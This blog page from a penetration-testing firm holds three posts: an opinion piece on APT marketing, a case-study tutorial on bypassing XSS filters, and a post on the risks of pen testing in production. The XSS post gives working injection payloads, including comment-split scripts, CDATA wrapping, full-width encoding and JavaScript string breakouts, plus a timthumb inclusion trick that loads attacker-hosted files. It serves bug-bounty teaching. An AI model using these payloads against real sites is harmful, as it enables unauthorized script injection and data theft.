iViZ Blog - The Authoritative Blog on Penetration Testing

APT Secrets that Vendors Don’t Tell

By Bikash Barai in Penetration Testing, Security Awareness · May 16, 2013 · No comments

APT (Advanced Persistent Threats) is the talk of the town. There is too much of noise and confusion. Everybody wants to make money. Quite a few uses FUD (Fear Uncertainty and Doubt) to sell their products. I wanted to highlight the APT secrets which vendors don’t tell (well mostly).

There is no single solution for APT

APT is a like a war. No single solution is good enough. You cannot have a solution to your APT problem. APT needs to be addressed through a holistic approach. Any vendor who says that they have “THE” solution for “APT” is either telling a lie or is unaware of facts.

There is no solution(guaranteed) for APT

If you consider APT as a cyber war with governments involved, you simply cannot protect yourself (theoretically). Intelligence and Government run cyber warfare is lot more than a technology war. They combine the age old espionage with the new age cyber warfare techniques. Governments have the power to monitor and control things beyond what we can normally imagine. The spies from intelligence agencies are no less than James Bond. They can steal your secrets without really hacking you. Theoretically anybody can be a spy working for a government agency. Even the person you trust. They excel in their job of manipulating people and their perceptions.

APT is not just a technology problem

APT is not just a technology problem. Even if you have the best technology, the people are the weakest links.The organizations with the best security can be compromised easily by using social engineering.

APT is more “Persistent” than “Advanced”

APT is not really “advanced”. The technology advancement that happened in APT is very natural advancement like what happens with any other technology. It is not a quantum leap like that happened in Cloud or Big Data. What today people consider as new were already known long back to the hacker/technology community. Whatever new has happened is a natural progress and does not justify the status of “Advanced”. If you call this advanced then what will be tomorrow’s attacks? “Advanced Advanced”? I believe APT is more persistent than Advanced. Since there is higher awareness and bigger market, the industry needed a new name…so here comes “Advanced” !

So how do we fight it? The secret is as complex as figuring out “How to be happy?”. You cannot have a perfect strategy to have eternal happiness. However you can manage it. I will soon write on how to create a holistic strategy to manage APT risks. But not today. I am too hungry without my breakfast..need to attack my refrigerator now!

Reference: Original Blog

Bypassing XSS Filters

By Shubham Mittal in Penetration Testing · April 26, 2013 · 1 comment

Since the time bug bounties have started, a lot of security vulnerabilities can be seen reported. From the college students to Hard Core Security Researchers, all researchers have been into it. Cross-site scripting or XSS is one such type of security flaw which is very frequently reported as this can be found much more easily than other flaws. But wait, are you sure this can be found easily always? Well, we disagree.

Most testers use two payloads, i.e., “><img src=aa onerror=alert(1);> and <script>alert(1)</script>; and try them out at most of the injection points. If you are also following the same approach, then you are likely to find XSS in most of conditions, but not in ALL of them. What about those which do not lie in this category (say the application has got a filter, or say they encode some characters).

So instead of just passing random payloads, it’s pretty obvious to first understand where and how the payloads are getting reflected (if any). It simply means, if you can understand the request and response properly, you can be the champion. So we will be talking about the “approach for bypassing XSS filters” in this article.

Here we will mention some of the unique XSS vulnerabilities we found recently.

Case 1:

This is one which I loved personally. While testing an application there were five columns on the EDIT profile page and all were vulnerable to improper sanitization. All the payloads were getting reflected in Attribute of input tag, however the only problem with all of them was they were not allowing more than 14 characters in each field. As I started with the following:

aa”>aaaa

Successfully injected and complete the input tag and displayed “aaaa” on the page. So I injected:

a”><script>alert(1)</script>

Injected successfully but didn’t executed my script due to length based filtration and page was tampered. Tried several other payloads, and then got to know that only 14 characters were allowed. Suddenly thought of comments and along with partial payloads. So I broke my payload into three parts and then injected in three columns simultaneously:

Part1: “><script>/*

Part 2: */alert(1);/*

Part 3: */</script><!—

So once injected in HTML page, it was something like

<input value=””>script>/* BLAH BLAH BLAH */alert(1);/* BLAH BLAH BLAH */</script><!—

Where BLAH BLAH BLAH are the page contents which I commented using the Multiline javascript comments and thus my XSS payload got executed successfully.

Case 2:

While testing a FILE upload functionality, I intercepted the request using burp. While the contents of file were being transferred as an XML, the inputs were getting echoed on the page which was used to show the progress of the upload. So I tried to include a CDATA into the XML file and thought of including my XSS payload in between the CDATA. This worked fine and I got an XSS. The response where XSS was being echoed was something like below.

The payload used in this scenario was :

<![CDATA["><script>alert("XSS")</script><!--]]>

Complete Payload:

<Application><PNR>B2GBR</PNR><Count>1</Count><StaffTicket>

<![CDATA["><script>alert("XSS")</script><!--]]>

</StaffTicket><Itinerary><Flights><FlightNo>8981KL</FlightNo><From><Date>11/20/2012</Date><Time>04:30</Time>

Case 3:

While testing a .NET (.aspx) application which was sanitizing almost all the inputs (both falling in attributes as well as in main HTML). There was a module to modify the USER Details. At first I tried with the following string as the first name value:

aaa<script>aaaa

Page redirected to Error Page, thought <script> might be blocked. So passed this:

aaa<h1>bbbbbb</h1>ccccccccc

Page redirected to Error Page, thought “tags” might be blocked. And as this string was not passing in any attribute so only way to inject HTML or JS required a TAG. So I tried with full width encoding. Here is a complete chart which you can refer for the same. http://www.unicode.org/charts/PDF/UFF00.pdf . Using this I encoded the right angular bracket (>) and left angular bracket (<) to %uff1e and %uff1c respectively. Resulting payload with XSS script:

%uff1cscript%uff1ealert(1)%uff1c/script%uff1e

(<script>alert(1)</script>)

This time payload got injected but did not got executed. When I analyzed the source code, got to see that due to length based filtering some part of payload was not injected which was in fact defacing the site. So I made another account. This time I thought to encode half of the payload instead of encoding the complete payload. So I encoded (<) to %uff1c but left (>) as it is. This reduced the length of my payload by 22 characters. Therefore I passed:

%uff1cscript>alert(1)%uff1c/script>

And voila, this worked and I was able to report an XSS.

Case 4:

The inputs I was sending were getting reflected at around 5 places in the response page. Two of them were in main HTML, where “angular brackets” were filtered. Two of them were falling in input tag attributes, where “double quotes” were filtered. However, one of them was getting into JavaScript, which seemed to be a potential injection point to me. The only mistake developers had done was, they forgot to use “add-slash” with the single quotes and double quotes being passed in JavaScript. As JavaScript if a HOTSPOT for XSS, I started my hit and trial with it.

The place where my values were injecting was:

var a=(“bbbbb”, “abcdef”);’ — where bbbb was my injection point.

Obviously, there was no point of injecting “><img src stuff. So at the very first I tried to take the things out of the variable, then function and then execute.

aaa”aaa, “abcdef”);’ alert(1);

This got blocked as “SPACES” were not allowed in the input. So I used “plus sign”. And the page got redirected to an error page.

aaa”aaa,+”abcdef”);’+alert(1);

This didn’t work as “comma” was not allowed. Next:

aaa”aaa);’+alert(1);

It still didn’t work. I wondered why it was not working. Then deeply analyzed the code, and realized, I was supposed to close the string, so I entered this:

aaa”aaa);’+alert(1); var c=”

Again there was something wrong; string was not getting closed properly. At this point, I was able to inject the payload easily but was unable to execute it properly. So next:

aaa”aaa);’+alert(1);+var size=’(“444

And finally a pop up. This payload actually, closed the string, took my value out of the function, executed the alert(1), made another variable in the same manner as previous one was made (in which values were getting injected), and then left the double quote opened so as to complete the actual string in the page.

So the main point which I wanted to explain from this article is, don’t just “BRUTE FORCE” the payloads, instead try to analyze the injection point and then make the payload.

Case 5:

This one I found on one of the BUG BOUNTY sites and was also out of my favourite ones. While exploring the site, I got to see a Word-press based blog being employed which moreover was using a theme which used an older version of “timthumb.php” and to the surprise this was not properly patched. Developers have patched the XSS in the file but partially.

When I tried

http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/timthumb.php?src=aaaa<bb>aa

The page echoed only aaaa aa and <bb> was sanitized in an awesome manner. Then I tried RFI and tried to include a PHP file on the server (by first uploading to a free web host), but the page came up with an error that PHP files are not allowed. Again proper validation. Everything was fine until I tried with a JS file.

When I uploaded JS file on my free web hosting account and then included it in timthumb with the following URL:

http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/timthumb.php?src=abcdef.my3gb.com/flicker.com/shubham.js

the page said:

File type not supported: data/www/wp_blog/wp-content/themes/yamidoo_pro/scripts

Where abcd/xyz/pqr was the internal path disclosure and the MD5 was the hash of the (abcdef.my3gb.com/flicker.com/shubham.js)

Being very obvious, I modified the URL to http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/17ba317694138461350bacd42cb37908.js

And BOOM. My js file was here. But as we know PHP files were not supported, I tried with .cgi and .inc, both went waste as the file started getting downloaded instead of executing there.

So I lowered down my mind from RFI to XSS and uploaded a HTML page on my free hosting account with malicious javascript into it.

Ex:

And named the file shubham.html

When I included the file to the example.com using the following URL:

http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/timthumb.php?src=abcdef.my3gb.com/flicker.com/shubham.html

Again the error came

Unable to Open Image:

data/www/wp_blog/wp-content/themes/yamidoo_pro/scripts/./temp/b6an522ad9c735307e8f4ae822cc9d7c2.html

So modified the URL to

http://example.com/wp-content/themes/yamidoo_pro/scripts/temp/b6an522ad9c735307e8f4ae822cc9d7c2.htm6C

And as this was a page with malicious script, I got three Message boxes and confirmed the XSS on the site. As this was a stored XSS, and complete page can be made with whatever malicious script, this was patched within a day by the site to which I reported.

Conclusion:

So for the time being, we have included 5 case studies in the article which we encountered while testing for bugs. We tried to convey some of the approaches for finding Cross Site Scripting vulnerabilities and bypassing filters.

Hope you enjoyed the article and learnt something. Comments and suggestions are most welcome.

Safe Penetration Testing – 3 Myths and the Facts behind them!

By Debjit Datta in Penetration Testing · March 21, 2013 · No comments

Penetration testing vendors will often make promises and assurances that they can test your Web Applications safely and comprehensively in your production environment. So when performing Penetration Testing of a Web Application that is hosted in a Production Environment you need to consider the following myths and facts which can directly or indirectly end up causing you to do to yourself what you are trying to prevent hackers from doing to you in the first place!

Myth 1 – Vendors promise that testing on your production environment is perfectly safe and that pen testing will not cause any disruption to your end users.Tweet this!

The Facts

During testing, the application or its host may suffer degradation in performance if it is not designed, configured and implemented adequately. This will result in end users of the application suffering a diminished user experience or even a Denial of Service situation under the wrong circumstances. This is quite often out of the hands of the testing vendor and can be neither predicted nor fully avoided if any decent level of penetration testing is to be done.

Safe testing is usually limited to reducing the number of threads and requests made by any scanners used and will make testing take much longer than usually quoted by your testing vendor. Another way vendors claim to do safe testing is by disabling automated form fills by the scanner which results in substantially lower test coverage.

During our testing, we have encountered quite a few cases where the target application suffered performance issues due to bad design even though automated form fill was disabled and the scan was limited to only one thread with request throttling. In one case, we found that the application was performing detailed logging which was disk intensive. The application was normally very sparsely used, but during testing, the logs quickly filled up and caused a Denial of Service.

MORE: 9 Questions to ask your Application Security Testing Vendor!

Myth 2 – Your pen testing vendor may tell you that your data is safe for full blown penetration testing on a production system.Tweet this!

The Facts

SQL injection, Cross Site Scripting (XSS) and Cross Site Request Forgery (CSRF) in some cases can only be confirmed by actually attempting to insert data into the Web Applications underlying database particularly where any forms are present on the URL where the test case is crafted to either perform a create or update function.

Also any application function that is designed to perform any data insertion, updation or deletion from the database within the confines of the expected design may be executed during testing for exploits resulting in data corruption which may be undesirable. Again safe testing will mean that a lot of test cases won’t be performed and hence vulnerabilities will be missed.

Myth 3 – There will be no disruption to your business during pen testing.Tweet this!

The Facts

If the target application to be scanned is linked to other servers and applications that are part of a business process chain, then they are likely to be affected. The effects could range from flooding the system with dummy emails, orders, info request forms etc. which can all potentially disrupt the business if not handled carefully.

In one case, the target application was generating multiple synchronous back end requests for each request sent to it. This led to an amplification of requests which quickly overloaded the servers and led to a Denial of Service. Safe testing may be done by disabling form filling which will severely limit the coverage of the testing performed.

Advantages of Performing Pen Testing on a Staging Environment

What seems obvious from all the above is that wherever possible you should try to perform penetration testing on a staging or testing deployment. This has two main advantages;

First, you don’t impact your business directly in any way.

Second and more importantly you do not put constraints on your Penetration Testing vendor that would not apply to a hacker. Once your testing regime is mature and you have fixed all the vulnerabilities on the staging environment you can consider doing a full Penetration Testing on your Production Environment as a final assurance check.

MORE: Difference between Vulnerability Assessment and Penetration Testing?